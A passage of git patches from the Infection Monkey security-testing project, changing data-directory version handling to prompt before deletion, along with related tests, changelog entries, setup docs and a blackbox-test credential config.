Mike Salvatore Date: Thu, 14 Oct 2021 13:56:05 -0400 Subject: [PATCH 408/454] BB: Remove ".\\m0nk3y" user from Powershell user list This user was added to work around issue #1486. Since d4a1c2bda resolves that issue, this user can be removed from the config for this test. --- envs/monkey_zoo/blackbox/config_templates/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index 96ba0b908..a282b2a0a 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -20,7 +20,7 @@ class PowerShell(ConfigTemplate): ], "basic.credentials.exploit_password_list": ["Passw0rd!"], "basic_network.scope.depth": 2, - "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user", ".\\m0nk3y"], + "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.classes.finger_classes": ["PingScanner"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [], From dd480d1703bfd6d8542d73bb1b0f934efed52ab6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 20 Oct 2021 16:10:01 +0530 Subject: [PATCH 409/454] island: Prompt user for old data dir's deletion during Island setup if old data dir's and Island's versions mismatch --- monkey/monkey_island/cc/server_setup.py | 20 ++++++++++ monkey/monkey_island/cc/setup/data_dir.py | 46 ++++++++++++----------- 2 files changed, 45 insertions(+), 21 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index e3e8462a8..38e7de5d8 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -1,6 +1,7 @@ import atexit import json import logging +import shutil import sys from pathlib import Path from threading import Thread @@ -32,6 +33,7 @@ from monkey_island.cc.services.initialize import initialize_services # noqa: E4 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup import island_config_options_validator # noqa: E402 +from monkey_island.cc.setup.data_dir import OldDataError # noqa: E402 from monkey_island.cc.setup.gevent_hub_error_handler import GeventHubErrorHandler # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 from monkey_island.cc.setup.mongo import mongo_setup # noqa: E402 @@ -68,6 +70,24 @@ def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, st except json.JSONDecodeError as ex: print(f"Error loading server config: {ex}") exit(1) + except OldDataError as ex: + user_response = input( + f"\nExisting data directory ({ex.old_data_dir}) needs to be deleted." + " All data from previous runs will be lost. Proceed to delete? (y/n) " + ) + if user_response == "y": + shutil.rmtree(ex.old_data_dir) + print("\nOld data directory was deleted. Trying to set up again...\n") + return _setup_data_dir(island_args) + elif user_response == "n": + print( + "\nExiting. Please backup and delete the existing data directory. Then, try again." + "\nTo learn how to restore and use a backup, please refer to the documentation.\n" + ) + exit(1) + else: + print("\nExiting. Unrecognized response, please try again.\n") + exit(1) def _exit_on_invalid_config_options(config_options: IslandConfigOptions): diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index 590e966ba..cc810f9da 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -1,5 +1,4 @@ import logging -import shutil from pathlib import Path from common.version import get_version @@ -7,27 +6,32 @@ from monkey_island.cc.server_utils.file_utils import create_secure_directory from monkey_island.cc.setup.version_file_setup import get_version_from_dir, write_version logger = logging.getLogger(__name__) + _data_dir_backup_suffix = ".old" -def setup_data_dir(data_dir_path: Path): - logger.info(f"Setting up data directory in {data_dir_path}.") - _backup_current_data_dir(data_dir_path) +class OldDataError(Exception): + def __init__(self, old_data_dir: Path) -> None: + self.old_data_dir = old_data_dir + + +def setup_data_dir(data_dir_path: Path) -> None: + logger.info(f"Setting up data directory at {data_dir_path}.") + if data_dir_path.exists(): + logger.info(f"Data directory already exists at {data_dir_path}.") + _check_current_data_dir(data_dir_path) create_secure_directory(str(data_dir_path)) write_version(data_dir_path) logger.info("Data directory set up.") -def _backup_current_data_dir(data_dir_path: Path): - if _is_backup_needed(data_dir_path): - logger.debug("Data directory backup needed.") - try: - return _rename_data_dir(data_dir_path) - except FileNotFoundError: - logger.debug("No data directory found to backup, this is likely a first installation.") +def _check_current_data_dir(data_dir_path: Path) -> None: + if _data_dir_version_mismatch_exists(data_dir_path): + logger.info("Version in data directory does not match the Island's version.") + raise OldDataError(data_dir_path) -def _is_backup_needed(data_dir_path: Path) -> bool: +def _data_dir_version_mismatch_exists(data_dir_path: Path) -> bool: try: data_dir_version = get_version_from_dir(data_dir_path) except FileNotFoundError: @@ -39,14 +43,14 @@ def _is_backup_needed(data_dir_path: Path) -> bool: return island_version != data_dir_version -def _rename_data_dir(data_dir_path: Path): - backup_path = _get_backup_path(data_dir_path) - if backup_path.is_dir(): - shutil.rmtree(backup_path) - Path(data_dir_path).replace(backup_path) - logger.info(f"Old data directory renamed to {backup_path}.") +# def _rename_data_dir(data_dir_path: Path): +# backup_path = _get_backup_path(data_dir_path) +# if backup_path.is_dir(): +# shutil.rmtree(backup_path) +# Path(data_dir_path).replace(backup_path) +# logger.info(f"Old data directory renamed to {backup_path}.") -def _get_backup_path(data_dir_path: Path) -> Path: - backup_dir_name = data_dir_path.name + _data_dir_backup_suffix - return Path(data_dir_path.parent, backup_dir_name) +# def _get_backup_path(data_dir_path: Path) -> Path: +# backup_dir_name = data_dir_path.name + _data_dir_backup_suffix +# return Path(data_dir_path.parent, backup_dir_name) From 4ec53cb1d12a70e3ac63e11d5de75f61c0103ee4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 20 Oct 2021 16:30:52 +0530 Subject: [PATCH 410/454] island: Extract old data dir manipulation to a separate function --- monkey/monkey_island/cc/server_setup.py | 40 ++++++++++++++----------- 1 file changed, 23 insertions(+), 17 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 38e7de5d8..05a73280f 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -5,7 +5,7 @@ import shutil import sys from pathlib import Path from threading import Thread -from typing import Tuple +from typing import Optional, Tuple import gevent.hub from gevent.pywsgi import WSGIServer @@ -71,23 +71,29 @@ def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, st print(f"Error loading server config: {ex}") exit(1) except OldDataError as ex: - user_response = input( - f"\nExisting data directory ({ex.old_data_dir}) needs to be deleted." - " All data from previous runs will be lost. Proceed to delete? (y/n) " + return _handle_existing_data_directory(ex, island_args) + + +def _handle_existing_data_directory( + exception: Exception, island_args: IslandCmdArgs +) -> Optional[Tuple[IslandConfigOptions, str]]: + user_response = input( + f"\nExisting data directory ({exception.old_data_dir}) needs to be deleted." + " All data from previous runs will be lost. Proceed to delete? (y/n) " + ) + if user_response == "y": + shutil.rmtree(exception.old_data_dir) + print("\nOld data directory was deleted. Trying to set up again...\n") + return _setup_data_dir(island_args) + elif user_response == "n": + print( + "\nExiting. Please backup and delete the existing data directory. Then, try again." + "\nTo learn how to restore and use a backup, please refer to the documentation.\n" ) - if user_response == "y": - shutil.rmtree(ex.old_data_dir) - print("\nOld data directory was deleted. Trying to set up again...\n") - return _setup_data_dir(island_args) - elif user_response == "n": - print( - "\nExiting. Please backup and delete the existing data directory. Then, try again." - "\nTo learn how to restore and use a backup, please refer to the documentation.\n" - ) - exit(1) - else: - print("\nExiting. Unrecognized response, please try again.\n") - exit(1) + exit(1) + else: + print("\nExiting. Unrecognized response, please try again.\n") + exit(1) def _exit_on_invalid_config_options(config_options: IslandConfigOptions): From b4c48e7cfb3ef0ffb41daf7ed5a740127d538a35 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 20 Oct 2021 16:49:52 +0530 Subject: [PATCH 411/454] island: Remove unneeded functions in monkey_island/cc/setup/data_dir.py --- monkey/monkey_island/cc/setup/data_dir.py | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index cc810f9da..245a4f14c 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -41,16 +41,3 @@ def _data_dir_version_mismatch_exists(data_dir_path: Path) -> bool: island_version = get_version() return island_version != data_dir_version - - -# def _rename_data_dir(data_dir_path: Path): -# backup_path = _get_backup_path(data_dir_path) -# if backup_path.is_dir(): -# shutil.rmtree(backup_path) -# Path(data_dir_path).replace(backup_path) -# logger.info(f"Old data directory renamed to {backup_path}.") - - -# def _get_backup_path(data_dir_path: Path) -> Path: -# backup_dir_name = data_dir_path.name + _data_dir_backup_suffix -# return Path(data_dir_path.parent, backup_dir_name) From d048f4e4cec89ea6d6d60ea44d9c3153316fc2fc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 20 Oct 2021 20:42:49 +0530 Subject: [PATCH 412/454] Island: Move data directory deletion prompt to data_dir.py --- monkey/monkey_island/cc/server_setup.py | 29 ++----------- monkey/monkey_island/cc/setup/data_dir.py | 41 +++++++++++++------ .../monkey_island/cc/setup/test_data_dir.py | 31 +++++++------- 3 files changed, 48 insertions(+), 53 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 05a73280f..8b8e433ea 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -1,11 +1,10 @@ import atexit import json import logging -import shutil import sys from pathlib import Path from threading import Thread -from typing import Optional, Tuple +from typing import Tuple import gevent.hub from gevent.pywsgi import WSGIServer @@ -33,7 +32,7 @@ from monkey_island.cc.services.initialize import initialize_services # noqa: E4 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup import island_config_options_validator # noqa: E402 -from monkey_island.cc.setup.data_dir import OldDataError # noqa: E402 +from monkey_island.cc.setup.data_dir import IncompatibleDataDirectory # noqa: E402 from monkey_island.cc.setup.gevent_hub_error_handler import GeventHubErrorHandler # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 from monkey_island.cc.setup.mongo import mongo_setup # noqa: E402 @@ -70,29 +69,7 @@ def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, st except json.JSONDecodeError as ex: print(f"Error loading server config: {ex}") exit(1) - except OldDataError as ex: - return _handle_existing_data_directory(ex, island_args) - - -def _handle_existing_data_directory( - exception: Exception, island_args: IslandCmdArgs -) -> Optional[Tuple[IslandConfigOptions, str]]: - user_response = input( - f"\nExisting data directory ({exception.old_data_dir}) needs to be deleted." - " All data from previous runs will be lost. Proceed to delete? (y/n) " - ) - if user_response == "y": - shutil.rmtree(exception.old_data_dir) - print("\nOld data directory was deleted. Trying to set up again...\n") - return _setup_data_dir(island_args) - elif user_response == "n": - print( - "\nExiting. Please backup and delete the existing data directory. Then, try again." - "\nTo learn how to restore and use a backup, please refer to the documentation.\n" - ) - exit(1) - else: - print("\nExiting. Unrecognized response, please try again.\n") + except IncompatibleDataDirectory: exit(1) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index 245a4f14c..c728dca04 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -1,4 +1,5 @@ import logging +import shutil from pathlib import Path from common.version import get_version @@ -7,28 +8,44 @@ from monkey_island.cc.setup.version_file_setup import get_version_from_dir, writ logger = logging.getLogger(__name__) -_data_dir_backup_suffix = ".old" - -class OldDataError(Exception): - def __init__(self, old_data_dir: Path) -> None: - self.old_data_dir = old_data_dir +class IncompatibleDataDirectory(Exception): + pass def setup_data_dir(data_dir_path: Path) -> None: logger.info(f"Setting up data directory at {data_dir_path}.") - if data_dir_path.exists(): - logger.info(f"Data directory already exists at {data_dir_path}.") - _check_current_data_dir(data_dir_path) + if data_dir_path.exists() and _data_dir_version_mismatch_exists(data_dir_path): + logger.info("Version in data directory does not match the Island's version.") + _handle_old_data_directory(data_dir_path) create_secure_directory(str(data_dir_path)) write_version(data_dir_path) logger.info("Data directory set up.") -def _check_current_data_dir(data_dir_path: Path) -> None: - if _data_dir_version_mismatch_exists(data_dir_path): - logger.info("Version in data directory does not match the Island's version.") - raise OldDataError(data_dir_path) +def _handle_old_data_directory(data_dir_path: Path) -> None: + should_delete_data_directory = _prompt_user_to_delete_data_directory(data_dir_path) + if should_delete_data_directory: + shutil.rmtree(data_dir_path) + logger.info(f"{data_dir_path} was deleted.") + else: + logger.error( + "Unable to set up data directory. Please backup and delete the existing data directory" + f" ({data_dir_path}). Then, try again. To learn how to restore and use a backup, please" + " refer to the documentation." + ) + raise IncompatibleDataDirectory() + + +def _prompt_user_to_delete_data_directory(data_dir_path: Path) -> bool: + user_response = input( + f"\nExisting data directory ({data_dir_path}) needs to be deleted." + " All data from previous runs will be lost. Proceed to delete? (y/n) " + ) + print() + if user_response.lower() in {"y", "yes"}: + return True + return False def _data_dir_version_mismatch_exists(data_dir_path: Path) -> bool: diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index 907e62741..696b604dc 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -2,8 +2,8 @@ from pathlib import Path import pytest -from monkey_island.cc.setup.data_dir import _get_backup_path, setup_data_dir -from monkey_island.cc.setup.version_file_setup import _version_filename, get_version_from_dir +from monkey_island.cc.setup.data_dir import IncompatibleDataDirectory, setup_data_dir +from monkey_island.cc.setup.version_file_setup import _version_filename current_version = "1.1.1" old_version = "1.1.0" @@ -36,7 +36,9 @@ def test_setup_data_dir(temp_data_dir_path, temp_version_file_path): assert version_file_path.read_text() == current_version -def test_old_version_present(temp_data_dir_path, temp_version_file_path): +def test_old_version_removed(monkeypatch, temp_data_dir_path, temp_version_file_path): + monkeypatch.setattr("builtins.input", lambda _: "y") + temp_data_dir_path.mkdir() temp_version_file_path.write_text(old_version) bogus_file_path = temp_data_dir_path.joinpath("test.txt") @@ -46,25 +48,24 @@ def test_old_version_present(temp_data_dir_path, temp_version_file_path): assert temp_version_file_path.read_text() == current_version assert not bogus_file_path.is_file() - assert _get_backup_path(temp_data_dir_path).joinpath("test.txt").is_file() -def test_old_version_and_backup_present(temp_data_dir_path, temp_version_file_path): +@pytest.mark.parametrize("input_value", ["n", "x"]) +def test_old_version_not_removed( + monkeypatch, temp_data_dir_path, temp_version_file_path, input_value +): + monkeypatch.setattr("builtins.input", lambda _: input_value) + temp_data_dir_path.mkdir() temp_version_file_path.write_text(old_version) - - old_backup_path = _get_backup_path(temp_data_dir_path) - old_backup_path.mkdir() - bogus_file_path = old_backup_path.joinpath("test.txt") + bogus_file_path = temp_data_dir_path.joinpath("test.txt") bogus_file_path.touch() - setup_data_dir(temp_data_dir_path) - new_backup_path = old_backup_path + with pytest.raises(IncompatibleDataDirectory): + setup_data_dir(temp_data_dir_path) - # Make sure old backup got deleted and new backup took it's place - assert temp_version_file_path.read_text() == current_version - assert get_version_from_dir(new_backup_path) == old_version - assert not _get_backup_path(temp_data_dir_path).joinpath("test.txt").is_file() + assert temp_version_file_path.read_text() == old_version + assert bogus_file_path.is_file() def test_data_dir_setup_not_needed(temp_data_dir_path, temp_version_file_path): From 9b005255f121e1b47ba0cb95c1d402f744a18b54 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 20 Oct 2021 13:30:11 -0400 Subject: [PATCH 413/454] Changelog: Update changelog for issue #1114 --- CHANGELOG.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f2b95f8c..682d2094b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -56,9 +56,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - ATT&CK report bug that said that the technique "`.bash_profile` and `.bashrc`" was not attempted when it actually was attempted but failed. #1511 - Bug that periodically cleared the telemetry table's filter. #1392 -- Updating the Infection Monkey will backup the old data -and will create a new data directory to prevent incompatibilities and crashes. #1114 - +- Crashes, stack traces, and other malfunctions when data from older versions of Infection Monkey is + present in the data directory. #1114 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From f17183a76a0f90d441f8e39c4cb0f230dc247d26 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 20 Oct 2021 13:48:19 -0400 Subject: [PATCH 414/454] Island: Replace joinpath() with / --- monkey/monkey_island/cc/setup/version_file_setup.py | 4 ++-- .../monkey_island/cc/setup/test_data_dir.py | 12 ++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/setup/version_file_setup.py b/monkey/monkey_island/cc/setup/version_file_setup.py index 380fcf4cc..1489ca38d 100644 --- a/monkey/monkey_island/cc/setup/version_file_setup.py +++ b/monkey/monkey_island/cc/setup/version_file_setup.py @@ -6,10 +6,10 @@ _version_filename = "VERSION" def get_version_from_dir(dir_path: Path) -> str: - version_file_path = dir_path.joinpath(_version_filename) + version_file_path = dir_path / _version_filename return version_file_path.read_text() def write_version(dir_path: Path): - version_file_path = dir_path.joinpath(_version_filename) + version_file_path = dir_path / _version_filename version_file_path.write_text(get_version()) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index 696b604dc..fe60d227d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -18,13 +18,13 @@ def mock_version(monkeypatch): @pytest.fixture -def temp_data_dir_path(tmpdir) -> Path: - return Path(tmpdir, "data_dir") +def temp_data_dir_path(tmp_path) -> Path: + return tmp_path / "data_dir" @pytest.fixture def temp_version_file_path(temp_data_dir_path) -> Path: - return temp_data_dir_path.joinpath(_version_filename) + return temp_data_dir_path / _version_filename def test_setup_data_dir(temp_data_dir_path, temp_version_file_path): @@ -41,7 +41,7 @@ def test_old_version_removed(monkeypatch, temp_data_dir_path, temp_version_file_ temp_data_dir_path.mkdir() temp_version_file_path.write_text(old_version) - bogus_file_path = temp_data_dir_path.joinpath("test.txt") + bogus_file_path = temp_data_dir_path / "test.txt" bogus_file_path.touch() setup_data_dir(temp_data_dir_path) @@ -58,7 +58,7 @@ def test_old_version_not_removed( temp_data_dir_path.mkdir() temp_version_file_path.write_text(old_version) - bogus_file_path = temp_data_dir_path.joinpath("test.txt") + bogus_file_path = temp_data_dir_path / "test.txt" bogus_file_path.touch() with pytest.raises(IncompatibleDataDirectory): @@ -71,7 +71,7 @@ def test_old_version_not_removed( def test_data_dir_setup_not_needed(temp_data_dir_path, temp_version_file_path): temp_data_dir_path.mkdir() temp_version_file_path.write_text(current_version) - bogus_file_path = temp_data_dir_path.joinpath("test.txt") + bogus_file_path = temp_data_dir_path / "test.txt" bogus_file_path.touch() setup_data_dir(temp_data_dir_path) From 39047a3a90c9cdc0cae16e2b0f90667e9dc80586 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Oct 2021 14:21:10 +0300 Subject: [PATCH 415/454] Island: Remove the browser popup on the island launch in production These changes alter the run_server.bat to not throw a browser pop-up. These changes are needed to focus users attention to the command prompt. We plan to add interactivity to the prompt Fixes #1432 --- CHANGELOG.md | 3 ++- docs/content/setup/windows.md | 3 +++ monkey/monkey_island/windows/run_server.bat | 4 ++-- monkey/monkey_island/windows/run_server_py.bat | 2 +- 4 files changed, 8 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2bf579837..13de7b8f5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -31,7 +31,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Insecure access feature in the Monkey Island. #1418 - The "deployment" field from the server_config.json #1205 - The "Execution through module load" ATT&CK technique, - since it can no longer be exercise with current code #1416 + since it can no longer be exercise with current code. #1416 +- Browser window popup when Monkey Island starts on Windows. #1432 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index f629886fb..2a055de88 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -53,6 +53,9 @@ private certificate authority. ``` 1. Run the Monkey Island by clicking on the desktop shortcut. +1. Access the Monkey Island web UI by pointing your browser at + `https://localhost:5000`. + ## Troubleshooting ### Support diff --git a/monkey/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat index 5e5331a2e..9fb4291d9 100644 --- a/monkey/monkey_island/windows/run_server.bat +++ b/monkey/monkey_island/windows/run_server.bat @@ -1,3 +1,3 @@ -REM - Runs MongoDB Server & Monkey Island Server using built pyinstaller EXE - +REM - Runs Island server when user clicks on desktop shortcut or MonkeyIsland.exe in Windows - +REM - This file is called in \labs\InfectionMonkey\IslandStarter\MonkeyIsland\MonkeyIsland\MonkeyIsland.cpp - start windows\run_cc_exe.bat -start https://localhost:5000 diff --git a/monkey/monkey_island/windows/run_server_py.bat b/monkey/monkey_island/windows/run_server_py.bat index a727211ea..29e32aa75 100644 --- a/monkey/monkey_island/windows/run_server_py.bat +++ b/monkey/monkey_island/windows/run_server_py.bat @@ -1,3 +1,3 @@ -REM - Runs MongoDB Server & Monkey Island Server using python - +REM - Runs Monkey Island Server using python, only used in develop - pipenv run windows\run_cc.bat start https://localhost:5000 From f0f2f02b96d554fecd59d99dffa1926abf183d3a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 21 Oct 2021 15:03:20 +0530 Subject: [PATCH 416/454] Changelog: Fix issue number in entry for browser window popup fix --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 05c45e4d8..929bf73f9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,7 +32,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - The "deployment" field from the server_config.json #1205 - The "Execution through module load" ATT&CK technique, since it can no longer be exercise with current code. #1416 -- Browser window popup when Monkey Island starts on Windows. #1432 +- Browser window popup when Monkey Island starts on Windows. #1428 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration From 8b93b45545f2476be1b5e5d8ac6f347803a77ac5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 21 Oct 2021 14:56:27 +0530 Subject: [PATCH 417/454] Docs: Add FAQ for data dir deletion and backup on installing new version --- docs/content/FAQ/_index.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index ef25cc4f7..cf8e2c30a 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -8,6 +8,8 @@ pre: " " Below are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). - [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) +- [I updated to a new version of the Infection Monkey and I'm being asked to delete my existing data directory. Why?](#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why) +- [How can I use an old data directory?](#how-can-i-use-an-old-data-directory) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) - [Is the Infection Monkey a malware/virus?](#is-the-infection-monkey-a-malwarevirus) - [Reset/enable the Monkey Island password](#resetenable-the-monkey-island-password) @@ -35,6 +37,24 @@ For the latest **stable** release, visit [our downloads page](https://www.guardi If you want to see what has changed between versions, refer to the [releases page on GitHub](https://github.com/guardicore/monkey/releases). For the latest development version, visit the [develop version on GitHub](https://github.com/guardicore/monkey/tree/develop). +## I updated to a new version of the Infection Monkey and I'm being asked to delete my existing data directory. Why? + +The [data directory]({{< ref "/reference/data_directory" >}}) contains the +Infection Monkey's database and other internal +data. For the new version of Infection Monkey to work flawlessly, a data +directory with a compatible structure needs to be set up. + +If you would like to save the data gathered from the Monkey's previous runs, +you can make a backup of your [existing data directory]({{< ref +"/reference/data_directory" >}}) before deleting it. + +## How can I use an old data directory? + +To use the data stored in a data directory from an older version, reinstall the +version of the Monkey Island which matches your data directory's version. Then, +copy the backup of your old data directory to the [appropriate location]({{< +ref "/reference/data_directory" >}}). + ## How long does a single Infection Monkey agent run? Is there a time limit? The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration. From be04384efe60f3ef255308afe2c6f93d997eae5d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 21 Oct 2021 08:44:36 -0400 Subject: [PATCH 418/454] Docs: Add instructions to configure data_dir on Linux --- docs/content/reference/data_directory.md | 27 ++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/docs/content/reference/data_directory.md b/docs/content/reference/data_directory.md index 418c320fa..2ab7ca78e 100644 --- a/docs/content/reference/data_directory.md +++ b/docs/content/reference/data_directory.md @@ -16,3 +16,30 @@ configuration files, etc. On Linux, the default path is `$HOME/.monkey_island`. On Windows, the default path is `%AppData%\monkey_island`. + +## How do I configure the location of the data directory on Linux? + +The location of the data directory is set in the `data_dir` field in the +`server_config.json` file. + +1. Create a custom `server_config.json` file and set the `data_dir` field. Its + contents will look like: + + ```json + { + "log_level": "DEBUG", + "environment": { + "server_config": "password" + }, + "mongodb": { + "start_mongodb": true + }, + "data_dir": "" + } + ``` + +1. Start the Infection Monkey with the `--server-config` parameter. + + ```bash + $ InfectionMonkey-VERSION.AppImage --server-config + ``` From a43c1b0a186fbbc48e9228c40ce4ff8a492aaa83 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 21 Oct 2021 08:52:37 -0400 Subject: [PATCH 419/454] Docs: Add delete data directory tip to Linux and Windows setup --- docs/content/setup/linux.md | 7 +++++++ docs/content/setup/windows.md | 7 +++++++ 2 files changed, 14 insertions(+) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 09bf7cac3..7fcd09d24 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -36,6 +36,13 @@ installed, but the ones that we've tested are: 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. +{{% notice info %}} +If you're prompted to delete your data directory and you're not sure what to +do, see the [FAQ]({{< ref +"/faq/#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why" +>}}) for more information. +{{% /notice %}} + ### Start Monkey Island with user-provided certificate By default, Infection Monkey comes with a [self-signed SSL diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 2a055de88..f9fd5acaf 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -20,6 +20,13 @@ After running the installer, the following prompt should appear on the screen: 1. Follow the steps to complete the installation. 1. Run the Monkey Island by clicking on the desktop shortcut. +{{% notice info %}} +If you're prompted to delete your data directory and you're not sure what to +do, see the [FAQ]({{< ref +"/faq/#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why" +>}}) for more information. +{{% /notice %}} + ### Start Monkey Island with user-provided certificate By default, Infection Monkey comes with a [self-signed SSL certificate](https://aboutssl.org/what-is-self-sign-certificate/). In From 3a907c3cae30bee5f08a03325d9a14a1403fbb3b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 21 Oct 2021 09:22:15 -0400 Subject: [PATCH 420/454] Build: Link to setup instructions from Docker README.md --- build_scripts/docker/DOCKER_README.md | 21 ++------------------- 1 file changed, 2 insertions(+), 19 deletions(-) diff --git a/build_scripts/docker/DOCKER_README.md b/build_scripts/docker/DOCKER_README.md index e2b1f97d0..24a79a505 100644 --- a/build_scripts/docker/DOCKER_README.md +++ b/build_scripts/docker/DOCKER_README.md @@ -1,21 +1,4 @@ # Infection Monkey -How to run Monkey Island from the docker file: - -Note: Ports 5000 and 5001 must be available for the island to work. - -## Setup - -Run the following commands: - -```sh -sudo docker load -i dk.monkeyisland.MONKEY_VER_PLACEHOLDER.tar -sudo docker pull mongo:4.2 -sudo mkdir -p /var/monkey-mongo/data/db -sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2 -sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:MONKEY_VER_PLACEHOLDER -``` - -## Start Infecting - -Open `https://:5000` using Google Chrome and follow the instructions. You can also visit [the Infection Monkey website](https://infectionmonkey.com) and read the in-depth Getting Started guides. +For instructions on setting up the Infection Monkey Docker container, see +[https://www.guardicore.com/infectionmonkey/docs/setup/docker/](https://www.guardicore.com/infectionmonkey/docs/setup/docker/). From 65f7fd0131924afe721c6c4c959fc7f1647cfa5e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: 